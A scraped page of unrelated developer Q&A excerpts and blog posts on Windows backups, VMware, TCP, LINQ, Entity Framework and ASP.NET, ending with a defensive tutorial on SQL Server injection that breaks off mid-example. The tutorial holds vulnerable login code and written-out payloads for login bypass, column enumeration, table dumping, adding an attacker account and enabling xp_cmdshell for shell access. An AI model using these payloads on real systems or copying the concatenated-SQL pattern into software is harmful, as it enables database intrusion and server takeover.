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  • windows server backup 2008 R2 - what is generating all the change data?

    - by bobjandal
    We have a small relatively idle windows server 2008 R2 installation that does basic filesharing and exchange for about 10 not very active users. When running a windows server backup, the incremental data daily is about 20GB. This is not coming from users shared files, nor from changes in their mailbox sizes. The total size of the installation is 249GB, which is mostly old files. Where is all this data coming from, and how can I reduce it ? Using online backup of the vhd file from the backup is taking a while because of this daily change. Is there some way I can at least see what files are changing and contributing to this data ? Options I can think of but am not sure about: 1) pagefile churning - altho the backup does not include the pagefile, perhaps the changed blocks left behind are included ? 2) logs or something ? but the installation size stays the same every day 3) should I zero free space using sdelete before backing up perhaps ?

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  • VMware vSphere 4.1: host performance graphs show "No data available", except the realtime view, which works fine

    - by Graeme Donaldson
    Here's our scenario: Site 1 has 3 hosts, and our vCenter server is here. Site 2 has 3 hosts. All hosts are ESXi 4.1 update 1. If I view the Performance tab for any host in Site 1, I can view realtime, 1 Day, etc., i.e. all the views give me graph data. For the hosts in Site 2, I can view the realtime graphs, 1 Day and 1 Week both say "No data available". 1 Month had mostly nothing, 1 Year shows that it was working fine for a long time and then started breaking. 1 Month view: 1 Year view: What would cause this loss of performance data?

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  • Is there a way to identify the device data is being received from? (python)

    - by Ed Prince
    Summary I have an MT4000 device connected to my computer using the serial port ttyS0. This is broadcasting data which is being received and read by a udp listener written in Python. I am also sending data manually through the terminal using a bash script I wrote. The Goal Is it possible to identify the device being used? The aim is for a web-page to allow the user to select which device they wish to see the data being sent. I would rather achieve this by directly identifying the device rather than saying anything from ttyS0, in case a different device is plugged in on that port. The Answer Is this possible, and if so, how? Everything I have found so far, is on identifying through a specific port.

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  • retransmission of lost TCP segment

    - by tcpip
    What will happen in the following scenario (assume the connection is already established): (stack A) send 10 byte data (stack B) send ACK for 10 byte data (stack B) send 200 byte data (stack B) send 100 byte data (stack B) send 50 byte data (stack A) send ACK for 350 byte data and also send 70 bytes data This segment gets lost and does not reach machine B. (stack B) retransmit 200 byte data (step 3) (stack A) send ACK for 200 byte data and the next expected seq number as the one for 70 bytes data Question: Should 70 bytes data be also transferred with the ACK in step 8? Note that the retransmission timer for step 6 has not expired yet.

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  • Is there an easily configurable way to inject data into IIS 6 SMTP logs?

    - by Lorcan O'Neill
    I am using IIS 6 SMTP server to send out some mail on our behalf. I am also storing each message we send in a SQL table - with a UUID representing each message. I would like to be able to inject additional data into the SMTP logs located in SMTPSVC1 - an additional field which would contain this UUID in the event of a RCPT cs-method call. This is so that I can check a one-to-one relationship between messages sent in SQL and messages actually sent through SMTP. If possible, I would like to avoid writing a C++ custom logger as some sites I've viewed have suggested. Is there an easily configurable way to inject this data into IIS 6 logs? Even if it was only the ability to perform a regex on the data/headers of the outgoing email, that would be enough. Thanks!

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  • Windows CE Remote Kernel Tracker - gathering data in one (more) file during a log period of time

    - by Nic
    I'm using the "Windows CE Kernel Tracker" tool to gather data from my embedded device. This is working fine for short period of time. It seems that the tool is getting data in memory and not on disk. I'm wondering if there is a way to take the data from the device and log it in one or more file on my development computer. This could be useful for long time test period : for instance, one night or one entire day. Any ideas? p.s. I don't want to log on to the device, I want to log on my development PC.

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  • Can I recover data from external HDD or do I format and lose it all?

    - by Col
    I have a Maxtor external HDD 500GB but haven't used it for a year or so. I have plugged it into a new laptop as the one I used it with before is busted. I know that there is a ton of data on the HDD that I would love to have the use of - mostly family and friends photos to be honest. But when I click on the HDD in Windows Explorer the only option I am given is to reformat the drive and lose the data. I'd be grateful if anyone could tell me if there is a way to get the data off the external drive before formatting it and losing it all.

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  • Route gaming data over wireless and everything else through LAN?

    - by Alex
    I have two internet connections available to me. One is via LAN.. not a great ping, but fast downloads. The other is via USB wireless adapter.. good ping, but slow downloads. I want to connect to both of them simultaneously. I want to be able to specify which data or application will use the wireless connection and route everything else through the lan connection. Is this possible, and how would I do it? Windows 7 x64 is my operating system. Here is the data from route print: http://pastebin.com/vsjQRpSM I'm still unsure of how to use this to make all of my data go through the nvidia lan interface, even after reading route /? Also, if I'm able to achieve that, will it override the ForceBindIP?

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  • Restoring a backup SQL Server 2005 where is the data stored?

    - by sc_ray
    I have two Sql Server database instances on two different machines across the network. Lets call these servers A and B. Due to some infrastructural issues, I had to make a complete backup of the database on server A and robocopy the A.bak over to a shared drive accessible by both A and B. What I want is to restore the database on B. My first issue is to restore the backup on server B but the backup location does not display my shared drive. My next issue is that server B's C: drive has barely any space left and there are some additional partitions that have more space and can house my backup file but I am not sure what happens to the data after I restore the database on B. Would the backup data fill up all the available space on C:? It will be great if somebody explain how the data is laid out after the restore database is initiated on a target database server? Thanks

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  • What is Linq?

    - by Aamir Hasan
    The way data can be retrieved in .NET. LINQ provides a uniform way to retrieve data from any object that implements the IEnumerable<T> interface. With LINQ, arrays, collections, relational data, and XML are all potential data sources. Why LINQ?With LINQ, you can use the same syntax to retrieve data from any data source:var query = from e in employeeswhere e.id == 1select e.nameThe middle level represents the three main parts of the LINQ project: LINQ to Objects is an API that provides methods that represent a set of standard query operators (SQOs) to retrieve data from any object whose class implements the IEnumerable<T> interface. These queries are performed against in-memory data.LINQ to ADO.NET augments SQOs to work against relational data. It is composed of three parts.LINQ to SQL (formerly DLinq) is use to query relational databases such as Microsoft SQL Server. LINQ to DataSet supports queries by using ADO.NET data sets and data tables. LINQ to Entities is a Microsoft ORM solution, allowing developers to use Entities (an ADO.NET 3.0 feature) to declaratively specify the structure of business objects and use LINQ to query them. LINQ to XML (formerly XLinq) not only augments SQOs but also includes a host of XML-specific features for XML document creation and queries. What You Need to Use LINQLINQ is a combination of extensions to .NET languages and class libraries that support them. To use it, you’ll need the following: Obviously LINQ, which is available from the new Microsoft .NET Framework 3.5 that you can download at http://go.microsoft.com/?linkid=7755937.You can speed up your application development time with LINQ using Visual Studio 2008, which offers visual tools such as LINQ to SQL designer and the Intellisense  support with LINQ’s syntax.Optionally, you can download the Visual C# 2008 Expression Edition tool at www.microsoft.com/vstudio/express/download. It is the free edition of Visual Studio 2008 and offers a lot of LINQ support such as Intellisense and LINQ to SQL designer. To use LINQ to ADO.NET, you need SQL

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  • Entity Association Mapping with Code First Part 1 : Mapping Complex Types

    - by mortezam
    Last week the CTP5 build of the new Entity Framework Code First has been released by data team at Microsoft. Entity Framework Code-First provides a pretty powerful code-centric way to work with the databases. When it comes to associations, it brings ultimate flexibility. I’m a big fan of the EF Code First approach and am planning to explain association mapping with code first in a series of blog posts and this one is dedicated to Complex Types. If you are new to Code First approach, you can find a great walkthrough here. In order to build a solid foundation for our discussion, we will start by learning about some of the core concepts around the relationship mapping.   What is Mapping?Mapping is the act of determining how objects and their relationships are persisted in permanent data storage, in our case, relational databases. What is Relationship mapping?A mapping that describes how to persist a relationship (association, aggregation, or composition) between two or more objects. Types of RelationshipsThere are two categories of object relationships that we need to be concerned with when mapping associations. The first category is based on multiplicity and it includes three types: One-to-one relationships: This is a relationship where the maximums of each of its multiplicities is one. One-to-many relationships: Also known as a many-to-one relationship, this occurs when the maximum of one multiplicity is one and the other is greater than one. Many-to-many relationships: This is a relationship where the maximum of both multiplicities is greater than one. The second category is based on directionality and it contains two types: Uni-directional relationships: when an object knows about the object(s) it is related to but the other object(s) do not know of the original object. To put this in EF terminology, when a navigation property exists only on one of the association ends and not on the both. Bi-directional relationships: When the objects on both end of the relationship know of each other (i.e. a navigation property defined on both ends). How Object Relationships Are Implemented in POCO domain models?When the multiplicity is one (e.g. 0..1 or 1) the relationship is implemented by defining a navigation property that reference the other object (e.g. an Address property on User class). When the multiplicity is many (e.g. 0..*, 1..*) the relationship is implemented via an ICollection of the type of other object. How Relational Database Relationships Are Implemented? Relationships in relational databases are maintained through the use of Foreign Keys. A foreign key is a data attribute(s) that appears in one table and must be the primary key or other candidate key in another table. With a one-to-one relationship the foreign key needs to be implemented by one of the tables. To implement a one-to-many relationship we implement a foreign key from the “one table” to the “many table”. We could also choose to implement a one-to-many relationship via an associative table (aka Join table), effectively making it a many-to-many relationship. Introducing the ModelNow, let's review the model that we are going to use in order to implement Complex Type with Code First. It's a simple object model which consist of two classes: User and Address. Each user could have one billing address. The Address information of a User is modeled as a separate class as you can see in the UML model below: In object-modeling terms, this association is a kind of aggregation—a part-of relationship. Aggregation is a strong form of association; it has some additional semantics with regard to the lifecycle of objects. In this case, we have an even stronger form, composition, where the lifecycle of the part is fully dependent upon the lifecycle of the whole. Fine-grained domain models The motivation behind this design was to achieve Fine-grained domain models. In crude terms, fine-grained means “more classes than tables”. For example, a user may have both a billing address and a home address. In the database, you may have a single User table with the columns BillingStreet, BillingCity, and BillingPostalCode along with HomeStreet, HomeCity, and HomePostalCode. There are good reasons to use this somewhat denormalized relational model (performance, for one). In our object model, we can use the same approach, representing the two addresses as six string-valued properties of the User class. But it’s much better to model this using an Address class, where User has the BillingAddress and HomeAddress properties. This object model achieves improved cohesion and greater code reuse and is more understandable. Complex Types: Splitting a Table Across Multiple Types Back to our model, there is no difference between this composition and other weaker styles of association when it comes to the actual C# implementation. But in the context of ORM, there is a big difference: A composed class is often a candidate Complex Type. But C# has no concept of composition—a class or property can’t be marked as a composition. The only difference is the object identifier: a complex type has no individual identity (i.e. no AddressId defined on Address class) which make sense because when it comes to the database everything is going to be saved into one single table. How to implement a Complex Types with Code First Code First has a concept of Complex Type Discovery that works based on a set of Conventions. The convention is that if Code First discovers a class where a primary key cannot be inferred, and no primary key is registered through Data Annotations or the fluent API, then the type will be automatically registered as a complex type. Complex type detection also requires that the type does not have properties that reference entity types (i.e. all the properties must be scalar types) and is not referenced from a collection property on another type. Here is the implementation: public class User{    public int UserId { get; set; }    public string FirstName { get; set; }    public string LastName { get; set; }    public string Username { get; set; }    public Address Address { get; set; }} public class Address {     public string Street { get; set; }     public string City { get; set; }            public string PostalCode { get; set; }        }public class EntityMappingContext : DbContext {     public DbSet<User> Users { get; set; }        } With code first, this is all of the code we need to write to create a complex type, we do not need to configure any additional database schema mapping information through Data Annotations or the fluent API. Database SchemaThe mapping result for this object model is as follows: Limitations of this mappingThere are two important limitations to classes mapped as Complex Types: Shared references is not possible: The Address Complex Type doesn’t have its own database identity (primary key) and so can’t be referred to by any object other than the containing instance of User (e.g. a Shipping class that also needs to reference the same User Address). No elegant way to represent a null reference There is no elegant way to represent a null reference to an Address. When reading from database, EF Code First always initialize Address object even if values in all mapped columns of the complex type are null. This means that if you store a complex type object with all null property values, EF Code First returns a initialized complex type when the owning entity object is retrieved from the database. SummaryIn this post we learned about fine-grained domain models which complex type is just one example of it. Fine-grained is fully supported by EF Code First and is known as the most important requirement for a rich domain model. Complex type is usually the simplest way to represent one-to-one relationships and because the lifecycle is almost always dependent in such a case, it’s either an aggregation or a composition in UML. In the next posts we will revisit the same domain model and will learn about other ways to map a one-to-one association that does not have the limitations of the complex types. References ADO.NET team blog Mapping Objects to Relational Databases Java Persistence with Hibernate

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  • Reuse security code between WCF and MVC.NET

    - by mrjoltcola
    First the background: I jumped into MVC.NET from the Java MVC world, so my implementation below is possibly cheating, I don't know. I avoided fooling with a custom membership provider and I just implemented the base code needed to authenticate and load roles in my LogOn action. Typically I just need to check roles programatically, and have no use for all of the other membership features, so I didn't originally think I needed a full Membership provider. I have a successful WCF project with a custom authentication and authorization layer that I did at least write per the proper API. I implemented it with custom IPrincipal, UserNamePasswordValidator and IAuthorizationPolicy classes to load from an Oracle database. In my WCF services, I use declarative security: [PrincipalPermission(SecurityAction.Demand, Role="ADMIN")]. The question (on the ASP.NET/MCV.NET side): All my reading indicates I should implement a custom Membership/Roles provider, and use [Authorize(Roles="ADMIN")] on my controller actions. At this point, I don't have a true Membership provider, but I'm using the same User class that implements the IPrincipal interface that works with the WCF security. I plan to share common code between the WCF and ASP.NET modules. So my LogOn action is not using the FormsService (and I assume this is bad). I had commented it out, and just used my "UserService" to access the Oracle db. Note my "TODO" comment below. public ActionResult LogOn(LogOnModel model, string returnUrl) { log.Info("Login attempt by " + model.UserName); if (ModelState.IsValid) { User user = userService.findByUserName(model.UserName); // Commented original MemberShipService code, this is probably bad // if (MembershipService.ValidateUser(model.UserName, model.Password)) if (user != null && user.Authenticate(model.Password) == true) { log.Info("Login success by " + model.UserName); FormsService.SignIn(model.UserName, model.RememberMe); // TODO: Override with Custom identity / roles? user.AddRoles(userService.listRolesByUser(user)); // pull in roles from db if (!String.IsNullOrEmpty(returnUrl)) return Redirect(returnUrl); else return RedirectToAction("Index", "Home"); } else { log.Info("Login failure by " + model.UserName); ModelState.AddModelError("", "The user name or password provided is incorrect."); } } // If we got this far, something failed, redisplay form return View(model); } So can I make the above work? Can I stick the IPrincipal (User) into the CurrentContext or HttpContext? Can I integrate the custom IPrincipal I've already created without writing a full Membership/Roles Provider? I currently stick the User object into the session and access it from all MVC.NET controllers with "CurrentUser" property which grabs it from the session on demand. But this doesn't work with the [Authorize] attribute; I assume that is because it knows nothing about my custom Principal in the session, and is instead using whatever FormsService.SignIn() produces. I also found that session timeouts screw up the login redirect, the user doesn't get forwarded, instead we get a null exception accessing User from the session, and I assume it is related to my "skipping steps" to get a quick implementation. Thanks.

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  • Using Razor together with ASP.NET Web API

    - by Fredrik N
    On the blog post “If Then, If Then, If Then, MVC” I found the following code example: [HttpGet]public ActionResult List() { var list = new[] { "John", "Pete", "Ben" }; if (Request.AcceptTypes.Contains("application/json")) { return Json(list, JsonRequestBehavior.AllowGet); } if (Request.IsAjaxRequest()) [ return PartialView("_List", list); } return View(list); } .csharpcode, .csharpcode pre { font-size: small; color: black; font-family: consolas, "Courier New", courier, monospace; background-color: #ffffff; /*white-space: pre;*/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt { background-color: #f4f4f4; width: 100%; margin: 0em; } .csharpcode .lnum { color: #606060; } The code is a ASP.NET MVC Controller where it reuse the same “business” code but returns JSON if the request require JSON, a partial view when the request is an AJAX request or a normal ASP.NET MVC View. The above code may have several reasons to be changed, and also do several things, the code is not closed for modifications. To extend the code with a new way of presenting the model, the code need to be modified. So I started to think about how the above code could be rewritten so it will follow the Single Responsibility and open-close principle. I came up with the following result and with the use of ASP.NET Web API: public String[] Get() { return new[] { "John", "Pete", "Ben" }; } .csharpcode, .csharpcode pre { font-size: small; color: black; font-family: consolas, "Courier New", courier, monospace; background-color: #ffffff; /*white-space: pre;*/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt { background-color: #f4f4f4; width: 100%; margin: 0em; } .csharpcode .lnum { color: #606060; }   It just returns the model, nothing more. The code will do one thing and it will do it well. But it will not solve the problem when it comes to return Views. If we use the ASP.NET Web Api we can get the result as JSON or XML, but not as a partial view or as a ASP.NET MVC view. Wouldn’t it be nice if we could do the following against the Get() method?   Accept: application/json JSON will be returned – Already part of the Web API   Accept: text/html Returns the model as HTML by using a View   The best thing, it’s possible!   By using the RazorEngine I created a custom MediaTypeFormatter (RazorFormatter, code at the end of this blog post) and associate it with the media type “text/html”. I decided to use convention before configuration to decide which Razor view should be used to render the model. To register the formatter I added the following code to Global.asax: GlobalConfiguration.Configuration.Formatters.Add(new RazorFormatter()); Here is an example of a ApiController that just simply returns a model: using System.Web.Http; namespace WebApiRazor.Controllers { public class CustomersController : ApiController { // GET api/values public Customer Get() { return new Customer { Name = "John Doe", Country = "Sweden" }; } } public class Customer { public string Name { get; set; } public string Country { get; set; } } } .csharpcode, .csharpcode pre { font-size: small; color: black; font-family: consolas, "Courier New", courier, monospace; background-color: #ffffff; /*white-space: pre;*/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt { background-color: #f4f4f4; width: 100%; margin: 0em; } .csharpcode .lnum { color: #606060; }   Because I decided to use convention before configuration I only need to add a view with the same name as the model, Customer.cshtml, here is the example of the View:   <!DOCTYPE html> <html> <head> <script src="http://ajax.aspnetcdn.com/ajax/jquery/jquery-1.5.1.min.js" type="text/javascript"></script> </head> <body> <div id="body"> <section> <div> <hgroup> <h1>Welcome '@Model.Name' to ASP.NET Web API Razor Formatter!</h1> </hgroup> </div> <p> Using the same URL "api/values" but using AJAX: <button>Press to show content!</button> </p> <p> </p> </section> </div> </body> <script type="text/javascript"> $("button").click(function () { $.ajax({ url: '/api/values', type: "GET", contentType: "application/json; charset=utf-8", success: function(data, status, xhr) { alert(data.Name); }, error: function(xhr, status, error) { alert(error); }}); }); </script> </html> .csharpcode, .csharpcode pre { font-size: small; color: black; font-family: consolas, "Courier New", courier, monospace; background-color: #ffffff; /*white-space: pre;*/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt { background-color: #f4f4f4; width: 100%; margin: 0em; } .csharpcode .lnum { color: #606060; }   Now when I open up a browser and enter the following URL: http://localhost/api/customers the above View will be displayed and it will render the model the ApiController returns. If I use Ajax against the same ApiController with the content type set to “json”, the ApiController will now return the model as JSON. Here is a part of a really early prototype of the Razor formatter (The code is far from perfect, just use it for testing). I will rewrite the code and also make it possible to specify an attribute to the returned model, so it can decide which view to be used when the media type is “text/html”, but by default the formatter will use convention: using System; using System.Net.Http.Formatting; namespace WebApiRazor.Models { using System.IO; using System.Net; using System.Net.Http.Headers; using System.Reflection; using System.Threading.Tasks; using RazorEngine; public class RazorFormatter : MediaTypeFormatter { public RazorFormatter() { SupportedMediaTypes.Add(new MediaTypeHeaderValue("text/html")); SupportedMediaTypes.Add(new MediaTypeHeaderValue("application/xhtml+xml")); } //... public override Task WriteToStreamAsync( Type type, object value, Stream stream, HttpContentHeaders contentHeaders, TransportContext transportContext) { var task = Task.Factory.StartNew(() => { var viewPath = // Get path to the view by the name of the type var template = File.ReadAllText(viewPath); Razor.Compile(template, type, type.Name); var razor = Razor.Run(type.Name, value); var buf = System.Text.Encoding.Default.GetBytes(razor); stream.Write(buf, 0, buf.Length); stream.Flush(); }); return task; } } } .csharpcode, .csharpcode pre { font-size: small; color: black; font-family: consolas, "Courier New", courier, monospace; background-color: #ffffff; /*white-space: pre;*/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt { background-color: #f4f4f4; width: 100%; margin: 0em; } .csharpcode .lnum { color: #606060; }   Summary By using formatters and the ASP.NET Web API we can easily just extend our code without doing any changes to our ApiControllers when we want to return a new format. This blog post just showed how we can extend the Web API to use Razor to format a returned model into HTML.   If you want to know when I will post more blog posts, please feel free to follow me on twitter:   @fredrikn

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  • What I&rsquo;m Reading &ndash; 2 &ndash; Microsoft Silverlight 4 Data and Services Cookbook

    - by Dave Campbell
    A while back I mentioned that I had a couple books on my desktop that I’ve been “shooting holes” in … in other words, reading pieces that are interesting at the time, or looking something up rather than starting at the front and heading for the back. The book I want to mention today is Microsoft Silverlight 4 Data and Services Cookbook : by Gill Cleeren and Kevin Dockx. As opposed to the authors of the last book I reviewed, I don’t personally know Gill or Kevin, but I’ve blogged a lot of their articles… both prolific and on-topic writers. The ‘recipe’ style of the book shouldn’t put you off. It’s more of the way the chapters are laid out than anything else and once you see one of them, you recognize the pattern. This is a great eBook to have around to open when you need to find something useful. As with the other PACKT book I talked about have the eBook because for technical material, at least lately, I’ve gravitated toward that. I can have it with me on a USB stick at work, or at home. Read the free chapter then check out their blogs. You may be surprised by some of the items you’ll find inside the covers. One such nugget is one I don’t think I’ve seen blogged:  “Converting You Existing Applications to Use Silverlight”. Another good job! Technorati Tags: Silverlight 4

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  • SQL Server SQL Injection from start to end

    - by Mladen Prajdic
    SQL injection is a method by which a hacker gains access to the database server by injecting specially formatted data through the user interface input fields. In the last few years we have witnessed a huge increase in the number of reported SQL injection attacks, many of which caused a great deal of damage. A SQL injection attack takes many guises, but the underlying method is always the same. The specially formatted data starts with an apostrophe (') to end the string column (usually username) check, continues with malicious SQL, and then ends with the SQL comment mark (--) in order to comment out the full original SQL that was intended to be submitted. The really advanced methods use binary or encoded text inputs instead of clear text. SQL injection vulnerabilities are often thought to be a database server problem. In reality they are a pure application design problem, generally resulting from unsafe techniques for dynamically constructing SQL statements that require user input. It also doesn't help that many web pages allow SQL Server error messages to be exposed to the user, having no input clean up or validation, allowing applications to connect with elevated (e.g. sa) privileges and so on. Usually that's caused by novice developers who just copy-and-paste code found on the internet without understanding the possible consequences. The first line of defense is to never let your applications connect via an admin account like sa. This account has full privileges on the server and so you virtually give the attacker open access to all your databases, servers, and network. The second line of defense is never to expose SQL Server error messages to the end user. Finally, always use safe methods for building dynamic SQL, using properly parameterized statements. Hopefully, all of this will be clearly demonstrated as we demonstrate two of the most common ways that enable SQL injection attacks, and how to remove the vulnerability. 1) Concatenating SQL statements on the client by hand 2) Using parameterized stored procedures but passing in parts of SQL statements As will become clear, SQL Injection vulnerabilities cannot be solved by simple database refactoring; often, both the application and database have to be redesigned to solve this problem. Concatenating SQL statements on the client This problem is caused when user-entered data is inserted into a dynamically-constructed SQL statement, by string concatenation, and then submitted for execution. Developers often think that some method of input sanitization is the solution to this problem, but the correct solution is to correctly parameterize the dynamic SQL. In this simple example, the code accepts a username and password and, if the user exists, returns the requested data. First the SQL code is shown that builds the table and test data then the C# code with the actual SQL Injection example from beginning to the end. The comments in code provide information on what actually happens. /* SQL CODE *//* Users table holds usernames and passwords and is the object of out hacking attempt */CREATE TABLE Users( UserId INT IDENTITY(1, 1) PRIMARY KEY , UserName VARCHAR(50) , UserPassword NVARCHAR(10))/* Insert 2 users */INSERT INTO Users(UserName, UserPassword)SELECT 'User 1', 'MyPwd' UNION ALLSELECT 'User 2', 'BlaBla' Vulnerable C# code, followed by a progressive SQL injection attack. /* .NET C# CODE *//*This method checks if a user exists. It uses SQL concatination on the client, which is susceptible to SQL injection attacks*/private bool DoesUserExist(string username, string password){ using (SqlConnection conn = new SqlConnection(@"server=YourServerName; database=tempdb; Integrated Security=SSPI;")) { /* This is the SQL string you usually see with novice developers. It returns a row if a user exists and no rows if it doesn't */ string sql = "SELECT * FROM Users WHERE UserName = '" + username + "' AND UserPassword = '" + password + "'"; SqlCommand cmd = conn.CreateCommand(); cmd.CommandText = sql; cmd.CommandType = CommandType.Text; cmd.Connection.Open(); DataSet dsResult = new DataSet(); /* If a user doesn't exist the cmd.ExecuteScalar() returns null; this is just to simplify the example; you can use other Execute methods too */ string userExists = (cmd.ExecuteScalar() ?? "0").ToString(); return userExists != "0"; } }}/*The SQL injection attack example. Username inputs should be run one after the other, to demonstrate the attack pattern.*/string username = "User 1";string password = "MyPwd";// See if we can even use SQL injection.// By simply using this we can log into the application username = "' OR 1=1 --";// What follows is a step-by-step guessing game designed // to find out column names used in the query, via the // error messages. By using GROUP BY we will get // the column names one by one.// First try the Idusername = "' GROUP BY Id HAVING 1=1--";// We get the SQL error: Invalid column name 'Id'.// From that we know that there's no column named Id. // Next up is UserIDusername = "' GROUP BY Users.UserId HAVING 1=1--";// AHA! here we get the error: Column 'Users.UserName' is // invalid in the SELECT list because it is not contained // in either an aggregate function or the GROUP BY clause.// We have guessed correctly that there is a column called // UserId and the error message has kindly informed us of // a table called Users with a column called UserName// Now we add UserName to our GROUP BYusername = "' GROUP BY Users.UserId, Users.UserName HAVING 1=1--";// We get the same error as before but with a new column // name, Users.UserPassword// Repeat this pattern till we have all column names that // are being return by the query.// Now we have to get the column data types. One non-string // data type is all we need to wreck havoc// Because 0 can be implicitly converted to any data type in SQL server we use it to fill up the UNION.// This can be done because we know the number of columns the query returns FROM our previous hacks.// Because SUM works for UserId we know it's an integer type. It doesn't matter which exactly.username = "' UNION SELECT SUM(Users.UserId), 0, 0 FROM Users--";// SUM() errors out for UserName and UserPassword columns giving us their data types:// Error: Operand data type varchar is invalid for SUM operator.username = "' UNION SELECT SUM(Users.UserName) FROM Users--";// Error: Operand data type nvarchar is invalid for SUM operator.username = "' UNION SELECT SUM(Users.UserPassword) FROM Users--";// Because we know the Users table structure we can insert our data into itusername = "'; INSERT INTO Users(UserName, UserPassword) SELECT 'Hacker user', 'Hacker pwd'; --";// Next let's get the actual data FROM the tables.// There are 2 ways you can do this.// The first is by using MIN on the varchar UserName column and // getting the data from error messages one by one like this:username = "' UNION SELECT min(UserName), 0, 0 FROM Users --";username = "' UNION SELECT min(UserName), 0, 0 FROM Users WHERE UserName > 'User 1'--";// we can repeat this method until we get all data one by one// The second method gives us all data at once and we can use it as soon as we find a non string columnusername = "' UNION SELECT (SELECT * FROM Users FOR XML RAW) as c1, 0, 0 --";// The error we get is: // Conversion failed when converting the nvarchar value // '<row UserId="1" UserName="User 1" UserPassword="MyPwd"/>// <row UserId="2" UserName="User 2" UserPassword="BlaBla"/>// <row UserId="3" UserName="Hacker user" UserPassword="Hacker pwd"/>' // to data type int.// We can see that the returned XML contains all table data including our injected user account.// By using the XML trick we can get any database or server info we wish as long as we have access// Some examples:// Get info for all databasesusername = "' UNION SELECT (SELECT name, dbid, convert(nvarchar(300), sid) as sid, cmptlevel, filename FROM master..sysdatabases FOR XML RAW) as c1, 0, 0 --";// Get info for all tables in master databaseusername = "' UNION SELECT (SELECT * FROM master.INFORMATION_SCHEMA.TABLES FOR XML RAW) as c1, 0, 0 --";// If that's not enough here's a way the attacker can gain shell access to your underlying windows server// This can be done by enabling and using the xp_cmdshell stored procedure// Enable xp_cmdshellusername = "'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;";// Create a table to store the values returned by xp_cmdshellusername = "'; CREATE TABLE ShellHack (ShellData NVARCHAR(MAX))--";// list files in the current SQL Server directory with xp_cmdshell and store it in ShellHack table username = "'; INSERT INTO ShellHack EXEC xp_cmdshell \"dir\"--";// return the data via an error messageusername = "' UNION SELECT (SELECT * FROM ShellHack FOR XML RAW) as c1, 0, 0; --";// delete the table to get clean output (this step is optional)username = "'; DELETE ShellHack; --";// repeat the upper 3 statements to do other nasty stuff to the windows server// If the returned XML is larger than 8k you'll get the "String or binary data would be truncated." error// To avoid this chunk up the returned XML using paging techniques. // the username and password params come from the GUI textboxes.bool userExists = DoesUserExist(username, password ); Having demonstrated all of the information a hacker can get his hands on as a result of this single vulnerability, it's perhaps reassuring to know that the fix is very easy: use parameters, as show in the following example. /* The fixed C# method that doesn't suffer from SQL injection because it uses parameters.*/private bool DoesUserExist(string username, string password){ using (SqlConnection conn = new SqlConnection(@"server=baltazar\sql2k8; database=tempdb; Integrated Security=SSPI;")) { //This is the version of the SQL string that should be safe from SQL injection string sql = "SELECT * FROM Users WHERE UserName = @username AND UserPassword = @password"; SqlCommand cmd = conn.CreateCommand(); cmd.CommandText = sql; cmd.CommandType = CommandType.Text; // adding 2 SQL Parameters solves the SQL injection issue completely SqlParameter usernameParameter = new SqlParameter(); usernameParameter.ParameterName = "@username"; usernameParameter.DbType = DbType.String; usernameParameter.Value = username; cmd.Parameters.Add(usernameParameter); SqlParameter passwordParameter = new SqlParameter(); passwordParameter.ParameterName = "@password"; passwordParameter.DbType = DbType.String; passwordParameter.Value = password; cmd.Parameters.Add(passwordParameter); cmd.Connection.Open(); DataSet dsResult = new DataSet(); /* If a user doesn't exist the cmd.ExecuteScalar() returns null; this is just to simplify the example; you can use other Execute methods too */ string userExists = (cmd.ExecuteScalar() ?? "0").ToString(); return userExists == "1"; }} We have seen just how much danger we're in, if our code is vulnerable to SQL Injection. If you find code that contains such problems, then refactoring is not optional; it simply has to be done and no amount of deadline pressure should be a reason not to do it. Better yet, of course, never allow such vulnerabilities into your code in the first place. Your business is only as valuable as your data. If you lose your data, you lose your business. Period. Incorrect parameterization in stored procedures It is a common misconception that the mere act of using stored procedures somehow magically protects you from SQL Injection. There is no truth in this rumor. If you build SQL strings by concatenation and rely on user input then you are just as vulnerable doing it in a stored procedure as anywhere else. This anti-pattern often emerges when developers want to have a single "master access" stored procedure to which they'd pass a table name, column list or some other part of the SQL statement. This may seem like a good idea from the viewpoint of object reuse and maintenance but it's a huge security hole. The following example shows what a hacker can do with such a setup. /*Create a single master access stored procedure*/CREATE PROCEDURE spSingleAccessSproc( @select NVARCHAR(500) = '' , @tableName NVARCHAR(500) = '' , @where NVARCHAR(500) = '1=1' , @orderBy NVARCHAR(500) = '1')ASEXEC('SELECT ' + @select + ' FROM ' + @tableName + ' WHERE ' + @where + ' ORDER BY ' + @orderBy)GO/*Valid use as anticipated by a novice developer*/EXEC spSingleAccessSproc @select = '*', @tableName = 'Users', @where = 'UserName = ''User 1'' AND UserPassword = ''MyPwd''', @orderBy = 'UserID'/*Malicious use SQL injectionThe SQL injection principles are the same aswith SQL string concatenation I described earlier,so I won't repeat them again here.*/EXEC spSingleAccessSproc @select = '* FROM 